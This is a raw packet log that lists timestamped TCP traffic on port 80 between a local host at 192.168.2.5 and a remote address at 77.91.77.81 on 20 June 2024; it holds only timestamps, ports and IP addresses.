Jun 20, 2024 15:38:07.166486025 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.166496992 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.166524887 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:07.166553020 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:07.166739941 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.166750908 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.166760921 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.166770935 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.166783094 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.166794062 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.166805029 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.166827917 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:07.166862011 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:07.166862965 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:07.167056084 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.167067051 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.167077065 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.167087078 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.167102098 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.167118073 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.167129040 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.167130947 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:07.167139053 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.167150974 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.167162895 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.167166948 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:07.167175055 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.167191982 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:07.167191982 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:07.167222977 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:07.167380095 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.167391062 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.167401075 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.167411089 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.167440891 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:07.167473078 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:07.188380957 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.188446999 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:07.188486099 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.188497066 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.188507080 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.188519955 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.188530922 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.188536882 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:07.188544989 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.188594103 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:07.188594103 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:07.188735008 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.188750982 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.188760996 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.188771963 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.188782930 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.188782930 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:07.188817024 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:07.188817024 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:07.188843012 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:07.188946962 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.188962936 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.188973904 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.188993931 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:07.189027071 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:07.189027071 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:07.213408947 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.213495970 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.213495970 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:07.213507891 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.213543892 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:07.213562965 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.213567972 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:07.213576078 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.213589907 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.213610888 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:07.213613033 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.213640928 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:07.213669062 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:07.244796038 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.244812012 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.244822979 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.244884014 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:07.244884968 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.244900942 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.244930029 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:07.244960070 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.244960070 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:07.244973898 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.245002031 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:07.245033026 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:07.245093107 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.245102882 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.245114088 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.245124102 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.245135069 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.245145082 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:07.245173931 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:07.245223045 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:07.245301008 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.245311022 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.245362997 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:07.245362997 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:07.245604992 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.245615005 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.245625019 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.245635986 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.245654106 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.245685101 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:07.245685101 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:07.245718002 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:07.245769978 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.245781898 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.245793104 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.245819092 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:07.245840073 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:07.246047020 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.246057987 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.246068954 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.246079922 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.246088982 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.246099949 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.246114016 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.246121883 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:07.246156931 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:07.246156931 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:07.252209902 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.252223015 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.252245903 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.252257109 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.252269983 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.252281904 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.252290964 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:07.252341032 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:07.252341032 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:07.252388000 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.252399921 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.252412081 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.252423048 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.252434969 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.252435923 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:07.252459049 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:07.252506971 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:07.252677917 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.252688885 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.252700090 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.252712011 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.252724886 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.252737045 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.252751112 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:07.252782106 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:07.252963066 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.252974987 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.252985954 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.252996922 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.253009081 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.253016949 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:07.253048897 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:07.253068924 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:07.253108978 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.253120899 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.253156900 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:07.253177881 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.253204107 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.253216028 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.253227949 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.253227949 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:07.253241062 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.253249884 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:07.253272057 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:07.253298998 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:07.253578901 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.253591061 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.253602028 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.253612995 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.253623962 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.253633976 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:07.253634930 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.253648043 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.253659010 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.253670931 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.253671885 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:07.253684044 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.253690004 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:07.253695011 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.253706932 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.253709078 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:07.253719091 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.253727913 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:07.253762960 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:07.253793001 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:07.254281044 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.254292965 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.254302979 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.254314899 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.254327059 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.254338026 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.254349947 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.254362106 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.254364967 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:07.254374027 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.254386902 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.254399061 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.254409075 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.254420996 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.254426956 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:07.254426956 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:07.254432917 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.254445076 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.254451990 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:07.254456997 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.254470110 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.254477024 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:07.254482031 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.254494905 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.254496098 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:07.254513025 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:07.254548073 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:07.255068064 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.255080938 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.255091906 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.255142927 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:07.255175114 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:07.275691032 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.275703907 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.275715113 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.275794983 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:07.275856972 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.275868893 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.275878906 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.275891066 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.275968075 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:07.275968075 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:07.275968075 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:07.275995016 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.276007891 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.276041985 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:07.276052952 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.276062012 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:07.276067019 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.276078939 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.276089907 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.276099920 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.276099920 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:07.276119947 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:07.276150942 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:07.276150942 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:07.300259113 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.300455093 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.300463915 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.300473928 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.300488949 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.300499916 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.300503969 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:07.300503969 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:07.300508976 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.300529957 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:07.300573111 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:07.331264973 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.331330061 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.331341028 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.331403017 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.331413984 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.331425905 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.331479073 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:07.331479073 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:07.331479073 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:07.331557989 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.331568956 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.331578970 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.331592083 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.331589937 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:07.331624031 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:07.331624031 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:07.331675053 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:07.331708908 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.331721067 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.331758022 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:07.331789017 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:07.331800938 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.331813097 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.331825018 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.331835032 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.331849098 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:07.331881046 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:07.331881046 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:07.332300901 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.332312107 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.332324028 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.332350016 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:07.332377911 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:07.332443953 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.332454920 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.332465887 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.332477093 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.332499981 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.332509995 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:07.332509995 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:07.332546949 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:07.332546949 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:07.332644939 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.332655907 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.332700014 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:07.332700014 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:07.332813025 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.332823992 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.332861900 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:07.333147049 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.333158970 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.333194017 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:07.333224058 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:07.338648081 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.338660002 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.338675976 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.338726044 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:07.338757992 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:07.338762045 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.338774920 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.338809013 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:07.338829041 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:07.338845015 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.338857889 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.338897943 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:07.338898897 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:07.338980913 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.338993073 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.339003086 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.339014053 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.339025021 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.339029074 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:07.339036942 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.339080095 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:07.339080095 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:07.339116096 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:07.339193106 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.339205980 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:07.339240074 CEST	49706	80	192.168.2.5	77.91.77.81
